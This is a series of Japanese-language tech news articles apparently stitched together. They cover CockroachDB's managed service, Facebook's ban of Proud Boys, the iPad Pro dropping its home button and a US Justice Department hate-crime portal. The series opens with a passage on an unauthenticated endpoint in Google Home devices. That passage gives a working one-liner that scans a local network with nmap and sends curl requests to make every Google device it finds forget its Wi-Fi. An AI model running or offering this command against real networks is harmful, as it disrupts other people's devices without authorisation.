nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

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Cockroach Labsが複数のクラウドにまたがるデータベースCockroachDBのマネージドサービスを開始

Cockroach LabのオープンソースのSQLデータベースCockroachDBは、昨年の立ち上げ以来徐々に伸びているが、しかしオープンソースの技術が成熟して市場により深く浸透するためには、アーリーアダプターを超えたもっと一般的なオーディエンスに採用されていく必要がある。そのために同社は今日(米国時間10/30)、CockroachDBのマネージドサービスを発表した。

このサービスはクラウドを特定しないが、手始めとしてAmazon Web ServicesとGoogle Cloud Platformで利用できる。2015年にローンチしたCockroachはつねに自分を、Oracleや、さらにAmazonのAuroraデータベースなどをも代替する現代的なクラウドデータベースと位置づけている。

CEOのSpencer Kimballによると、それらの先輩データベースたちは、ベンダーロックインが強すぎて彼の趣味ではない。それに対抗するオープンなデータベースとして立ち上げたのが、Cockroachだ。“Cockroachのクラスターは、クラウドAからクラウドBへダウンタイムなしで移行できる”、と彼は言う。

そのような柔軟性は、他のベンダーが提供しているものと比べて、大きなアドバンテージがある、と彼は信じている。そして今日の発表は、そのアドバンテージをさらに大きくする。データベースと関連インフラストラクチャのセットアップや管理という重い仕事を、これからはサービスとしてのCockroachDBが代わってやってくれる。

Kimballの認識では、このやり方により同社の市場も拡大するだろう。“これまでにもOracleやAWS Aurora、Cassandraからのマイグレーションが相当あったが、これからは、それをためらっていたような企業もManaged CockroachDBにより容易にマイグレーションできるから、うちの市場はより快調に大きくなるだろう”、という趣旨をKimballは声明文で述べている。

そのデータベース本体には、自己回復力の強さというアドバンテージもある。いろんな条件下で安定的に動くから、これまでのデータベースに比べて有利だ、という。大きなアップタイムをレプリケーションによって保証し、ひとつのインスタンスがダウンしたら、すぐに身代わりが動き出す。

これまではエンタープライズ向けの商用バージョンが収益源で、それは通常のオープンソース版にないバックアップやサポートなどのサービスを提供していた。しかしこれからは、“Datbase as a Service”の契約会費収入が主な収益源になる。

1年前に同社は、CockroachDBのバージョン1.0をリリースし、シリーズBで2700万ドルを調達した。そのラウンドはRedpoinがリードし、Benchmark, GV, Index Ventures, そしてFirstMarkが参加した。そのお金が有効に使われた結果、今日発表のマネージドサービスが完成したのだ。

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Facebook、極右グループProud Boysの利用を停止、勧誘手段を断つ

Facebook、極右グループProud Boysの利用を停止、勧誘手段を断つ
FacebookProud Boysを排除している。白人至上主義グループとつながりのある極右市民組織だ。Business Insiderが最初にこの決定を報じた。Facebookは、Proud BoysをFacebookとInstagramから排除することをTechCrunchに正式に伝え、同グループ(恐らくリーダーのGavin McInnesも)が同社のヘイト行動集団/人物の定義に合致したことを示した。

Facebookは以下の声明を送ってきた:

「われわれは組織的ヘイト行動およびヘイトスピーチ傾向の研究を続け、パートナーの協力を得てヘイト行動組織の変化状態の理解を深めている。当社はそうした組織や個人をプラットホームから排除すると共に、それらに対する称賛、支援も見つけ次第排除している。今後もわれわれのポリシーに違反するコンテンツ、ページ、および人々の監視を続け、コミュニティーの安全を保つためにヘイトスピーチとヘイト組織に対して行動を起こしていく」

他のオンライン発の極右グループと比べても、Proud Boysがソーシャルネットワークを通じて与える影響は膨大だ。工作員でVice誌ファウンダーのMiInnesが設立した同組織は、主たる勧誘手段としてFacebookに依存している。本誌が8月に報じたように、Proud Boysは驚くほど複雑なネットワークを運用し、多くの地方、地域のFacebookグループを通じて新しいメンバーを集めている。彼らはあらゆる面でFacebook依存している——Proud Boysのホームページからも、Facebookグループにリンクを貼ってメンバー候補者を誘導している。

本稿執筆時点でFacebookの停止措置はProud Boysグループの一部に適用されているが、されていないグループもある。Proud BoysファウンダーのMcInnesのプロフィールは今も有効のようだ。Facebookの同組織に対する決定は、最近ニューヨークで、暴行、武器不法所持、集団暴行などの罪でProud Boysのメンバー5人が逮捕されたことを受けたものと思われる。

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(翻訳:Nob Takahashi / facebook

Apple、最新iPadからホームボタンを消す

昨日(米国時間10/30)Appleは、ホームボタンの棺に最後の釘を打ち込み、かつて遍在したそのしくみを最新モデルのiPadから消し去った。

火曜日ニューヨークで行われたAppleイベントで披露されたiPad Proにはホームボタンがなかった。より大きく、魅力的なディスプレイのために場所を空けるそのデザイン方針は、iPhoneのホームボタン廃止と同じ道をたどっている。Appleは新しいiPad ProからLightningポートもなくし、USB-Cへと移行した。

新型iPad Proには画面サイズが2種類あり、Face IDでロック解除できるようになった。どの方向でも使えるように設計変更されたので、ロック解除の「方向が違う」ということは起きない。

デバイスをロック解除したら、ユーザーはオンスクリーン・ジェスチャーを使って必要な機能を実行するためのアクションを起こせる。たとえば、右上隅から下にスワイプするとコントロールセンターが、下から上にスワイプするとドックが出てくる。つまり、iPhone Xで使われているのと同じ種類のジェスチャーだ。

Appleは2017年からホームボタンの段階的廃止を始め、最初は最上位機種のiPhone Xだった。Appleは低価格のiPhoneには物理的ホームボタンを残した。しかし、いずれその時がくることは誰もが知っていた。
ハンマーは2018年に打ち下ろされた。Appleは新しいiPhone XS、iPhone XS MaxそしてiPhone XRからホームボタンを一掃した。

Apple Fall Event 2018

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(翻訳:Nob Takahashi / facebook

司法省が省のすべてのヘイトクライム関連リソースを一堂に集めたポータルを立ち上げ

国内テロの恐ろしい週が明けた今日(米国時間10/29)、合衆国司法省はヘイトクライムに関するオンラインリソースや報告ツールを一箇所のハブにまとめて資料源を一本化した。

司法省のプレスリリースによると、その新しいポータルは、“省のヘイトクライムリソースを法執行部門やメディア、研究者、被害者、活動グループ、そして個人のために集めた統一的なポータルを提供するためのものである”。その新しいWebサイトは、https://www.justice.gov/hatecrimesにある。

月曜日(米国時間10/29)にD.C.で行われたヘイトクライム防止のための法執行部門の行事で、司法省副長官Rod RosensteinがそのWebサイトを発表した。Rosensteinはまた、ヘイトクライムデータの収集方法に関する研究に対する、国立司法研究所の助成金84万ドルを発表した。

このサイトは、司法省の調査や訴追活動の中から得られたリソースを集める。それらは、調査報告書や、統計データ、法律案内、教材などから成る。また、国の捜査/訴追対象となったヘイトクライムの近例を提供する。それらは、人種や宗教、出生国、性、障害、性的指向性などによる個人への暴力を含んでいる。また、ヘイトクライムらしきものを見た者が連邦政府にそれを報告するための、各種報告ツールも集められている。

政治的憎悪を広めることにおけるトランプ政権の役割に対して批判的な者にとっては、このサイトはあまり慰めにはならないだろう。役に立つリソースがいくつか集まってはいるが、でもそれらも結局は、認知的不協和を招く奇妙な行為の一つにすぎない。ここで司法省は憎悪を動機とする暴力を真剣に扱おうとしているが、しかしその結果が、暴力のターゲットになることの多い弱者から保護を剥ぎとっている。中でも最近もっとも顕著な弱者集団は、トランスジェンダーのアメリカ人だ。

Rosensteinは発表の中で、“本日被害者への哀悼を表するために、私たちもまた、ヘイトクライムの真剣な防止に向けて、自分自身を捧げるものである”、と言っている。彼もまた、ヘイトクライムの多くが今後も未報告のままであり続けることを、認めているのだ。

画像クレジット: BRENDAN SMIALOWSKI/AFP/Getty Images / Getty Images

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